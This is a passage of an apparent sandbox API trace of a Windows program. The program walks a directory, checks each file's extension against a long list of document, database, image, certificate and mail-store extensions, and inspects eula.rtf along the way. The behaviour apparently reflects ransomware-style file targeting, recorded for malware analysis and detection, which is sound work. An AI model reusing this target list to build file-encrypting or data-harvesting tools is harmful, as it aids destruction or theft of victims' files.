[0063.313] lstrlenW (lpString=".db") returned 3 [0063.313] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0063.313] lstrlenW (lpString=".dbf") returned 4 [0063.313] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".dbx") returned 4 [0063.313] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".dc3") returned 4 [0063.313] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".dcm") returned 4 [0063.313] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".dcr") returned 4 [0063.313] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0063.313] lstrlenW (lpString=".der") returned 4 [0063.313] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".dib") returned 4 [0063.314] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".dic") returned 4 [0063.314] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".dif") returned 4 [0063.314] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".divx") returned 5 [0063.314] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0063.314] lstrlenW (lpString=".djvu") returned 5 [0063.314] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0063.314] lstrlenW (lpString=".dng") returned 4 [0063.314] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".doc") returned 4 [0063.314] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".docm") returned 5 [0063.314] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0063.314] lstrlenW (lpString=".docx") returned 5 [0063.314] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.314] lstrlenW (lpString=".dot") returned 4 [0063.314] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".dotm") returned 5 [0063.314] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0063.314] lstrlenW (lpString=".dotx") returned 5 [0063.314] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0063.314] lstrlenW (lpString=".dpx") returned 4 [0063.314] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".dqy") returned 4 [0063.314] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".dsn") returned 4 [0063.314] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".dt") returned 3 [0063.314] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0063.314] lstrlenW (lpString=".dtd") returned 4 [0063.314] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0063.314] lstrlenW (lpString=".dwg") returned 4 [0063.315] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".dwt") returned 4 [0063.315] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".dx") returned 3 [0063.315] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0063.315] lstrlenW (lpString=".dxf") returned 4 [0063.315] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".edml") returned 5 [0063.315] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0063.315] lstrlenW (lpString=".efd") returned 4 [0063.315] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".elf") returned 4 [0063.315] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".emf") returned 4 [0063.315] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".emz") returned 4 [0063.315] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".epf") returned 4 [0063.315] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".eps") returned 4 [0063.315] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".epsf") returned 5 [0063.315] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0063.315] lstrlenW (lpString=".epsp") returned 5 [0063.315] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0063.315] lstrlenW (lpString=".erf") returned 4 [0063.315] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".exr") returned 4 [0063.315] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".f4v") returned 4 [0063.315] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".fido") returned 5 [0063.315] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0063.315] lstrlenW (lpString=".flm") returned 4 [0063.315] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".flv") returned 4 [0063.315] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0063.315] lstrlenW (lpString=".frm") returned 4 [0063.316] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".fxg") returned 4 [0063.316] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".geo") returned 4 [0063.316] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".gif") returned 4 [0063.316] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".grs") returned 4 [0063.316] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".gz") returned 3 [0063.316] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0063.316] lstrlenW (lpString=".h") returned 2 [0063.316] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0063.316] lstrlenW (lpString=".hdr") returned 4 [0063.316] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".hpp") returned 4 [0063.316] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".hta") returned 4 [0063.316] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".htc") returned 4 [0063.316] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".htm") returned 4 [0063.316] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".html") returned 5 [0063.316] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0063.316] lstrlenW (lpString=".icb") returned 4 [0063.316] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".ics") returned 4 [0063.316] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".iff") returned 4 [0063.316] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".inc") returned 4 [0063.316] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0063.316] lstrlenW (lpString=".indd") returned 5 [0063.316] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0063.316] lstrlenW (lpString=".ini") returned 4 [0063.316] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".iqy") returned 4 [0063.317] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".j2c") returned 4 [0063.317] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".j2k") returned 4 [0063.317] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".java") returned 5 [0063.317] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0063.317] lstrlenW (lpString=".jp2") returned 4 [0063.317] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".jpc") returned 4 [0063.317] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".jpe") returned 4 [0063.317] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".jpeg") returned 5 [0063.317] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0063.317] lstrlenW (lpString=".jpf") returned 4 [0063.317] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".jpg") returned 4 [0063.317] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".jpx") returned 4 [0063.317] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".js") returned 3 [0063.317] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0063.317] lstrlenW (lpString=".jsf") returned 4 [0063.317] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".json") returned 5 [0063.317] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0063.317] lstrlenW (lpString=".jsp") returned 4 [0063.317] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".kdc") returned 4 [0063.317] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".kmz") returned 4 [0063.317] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".kwm") returned 4 [0063.317] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0063.317] lstrlenW (lpString=".lasso") returned 6 [0063.318] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0063.318] lstrlenW (lpString=".lbi") returned 4 [0063.318] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".lgf") returned 4 [0063.318] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".lgp") returned 4 [0063.318] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".log") returned 4 [0063.318] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".m1v") returned 4 [0063.318] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".m4a") returned 4 [0063.318] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".m4v") returned 4 [0063.318] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".max") returned 4 [0063.318] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".md") returned 3 [0063.318] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0063.318] lstrlenW (lpString=".mda") returned 4 [0063.318] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".mdb") returned 4 [0063.318] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".mde") returned 4 [0063.318] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".mdf") returned 4 [0063.318] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".mdw") returned 4 [0063.318] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".mef") returned 4 [0063.318] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".mft") returned 4 [0063.318] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".mfw") returned 4 [0063.318] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0063.318] lstrlenW (lpString=".mht") returned 4 [0063.318] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mhtml") returned 6 [0063.319] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0063.319] lstrlenW (lpString=".mka") returned 4 [0063.319] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mkidx") returned 6 [0063.319] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0063.319] lstrlenW (lpString=".mkv") returned 4 [0063.319] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mos") returned 4 [0063.319] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mov") returned 4 [0063.319] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mp3") returned 4 [0063.319] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mp4") returned 4 [0063.319] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mpeg") returned 5 [0063.319] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0063.319] lstrlenW (lpString=".mpg") returned 4 [0063.319] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mpv") returned 4 [0063.319] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mrw") returned 4 [0063.319] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".msg") returned 4 [0063.319] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".mxl") returned 4 [0063.319] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".myd") returned 4 [0063.319] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".myi") returned 4 [0063.319] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".nef") returned 4 [0063.319] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".nrw") returned 4 [0063.319] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0063.319] lstrlenW (lpString=".obj") returned 4 [0063.320] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".odb") returned 4 [0063.320] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".odc") returned 4 [0063.320] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".odm") returned 4 [0063.320] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".odp") returned 4 [0063.320] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".ods") returned 4 [0063.320] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".oft") returned 4 [0063.320] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".one") returned 4 [0063.320] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".onepkg") returned 7 [0063.320] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0063.320] lstrlenW (lpString=".onetoc2") returned 8 [0063.320] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0063.320] lstrlenW (lpString=".opt") returned 4 [0063.320] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".oqy") returned 4 [0063.320] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".orf") returned 4 [0063.320] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".p12") returned 4 [0063.320] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".p7b") returned 4 [0063.320] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".p7c") returned 4 [0063.320] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".pam") returned 4 [0063.320] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".pbm") returned 4 [0063.320] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".pct") returned 4 [0063.320] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0063.320] lstrlenW (lpString=".pcx") returned 4 [0063.321] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".pdd") returned 4 [0063.321] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".pdf") returned 4 [0063.321] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".pdp") returned 4 [0063.321] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".pef") returned 4 [0063.321] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".pem") returned 4 [0063.321] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".pff") returned 4 [0063.321] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".pfm") returned 4 [0063.321] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".pfx") returned 4 [0063.321] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".pgm") returned 4 [0063.321] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".php") returned 4 [0063.321] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0063.321] lstrlenW (lpString=".php3") returned 5 [0063.321] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0063.321] lstrlenW (lpString=".php4") returned 5 [0063.321] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0063.321] lstrlenW (lpString=".php5") returned 5 [0063.321] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0063.321] lstrlenW (lpString=".phtml") returned 6 [0063.321] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0063.322] lstrlenW (lpString=".pict") returned 5 [0063.322] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0063.322] lstrlenW (lpString=".pl") returned 3 [0063.322] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0063.322] lstrlenW (lpString=".pls") returned 4 [0063.322] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0063.322] lstrlenW (lpString=".pm") returned 3 [0063.322] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0063.322] lstrlenW (lpString=".png") returned 4 [0063.322] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0063.322] lstrlenW (lpString=".pnm") returned 4 [0063.322] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0063.322] lstrlenW (lpString=".pot") returned 4 [0063.322] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0063.322] lstrlenW (lpString=".potm") returned 5 [0063.322] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0063.322] lstrlenW (lpString=".potx") returned 5 [0063.322] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0063.322] lstrlenW (lpString=".ppa") returned 4 [0063.322] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0063.322] lstrlenW (lpString=".ppam") returned 5 [0063.322] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0063.322] lstrlenW (lpString=".ppm") returned 4 [0063.322] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0063.322] lstrlenW (lpString=".pps") returned 4 [0063.322] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0063.322] lstrlenW (lpString=".ppsm") returned 5 [0063.322] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0063.323] lstrlenW (lpString=".ppt") returned 4 [0063.323] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".pptm") returned 5 [0063.323] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0063.323] lstrlenW (lpString=".pptx") returned 5 [0063.323] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0063.323] lstrlenW (lpString=".prn") returned 4 [0063.323] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".ps") returned 3 [0063.323] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0063.323] lstrlenW (lpString=".psb") returned 4 [0063.323] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".psd") returned 4 [0063.323] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".pst") returned 4 [0063.323] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".ptx") returned 4 [0063.323] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".pub") returned 4 [0063.323] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".pwm") returned 4 [0063.323] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".pxr") returned 4 [0063.323] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".py") returned 3 [0063.323] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0063.323] lstrlenW (lpString=".qt") returned 3 [0063.323] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0063.323] lstrlenW (lpString=".r3d") returned 4 [0063.323] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".raf") returned 4 [0063.323] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0063.323] lstrlenW (lpString=".rar") returned 4 [0063.323] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.324] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.324] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.324] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.324] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0063.324] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.324] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0063.324] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26 [0063.324] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583188 [0063.325] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.325] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.326] lstrlenW (lpString="eula.rtf") returned 8 [0063.326] lstrlenW (lpString=".1cd") returned 4 [0063.326] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.326] lstrlenW (lpString=".3ds") returned 4 [0063.326] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0063.326] lstrlenW (lpString=".3fr") returned 4 [0063.326] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0063.326] lstrlenW (lpString=".3g2") returned 4 [0063.326] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0063.326] lstrlenW (lpString=".3gp") returned 4 [0063.326] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0063.326] lstrlenW (lpString=".7z") returned 3 [0063.326] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.326] lstrlenW (lpString=".accda") returned 6 [0063.326] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0063.326] lstrlenW (lpString=".accdb") returned 6 [0063.326] 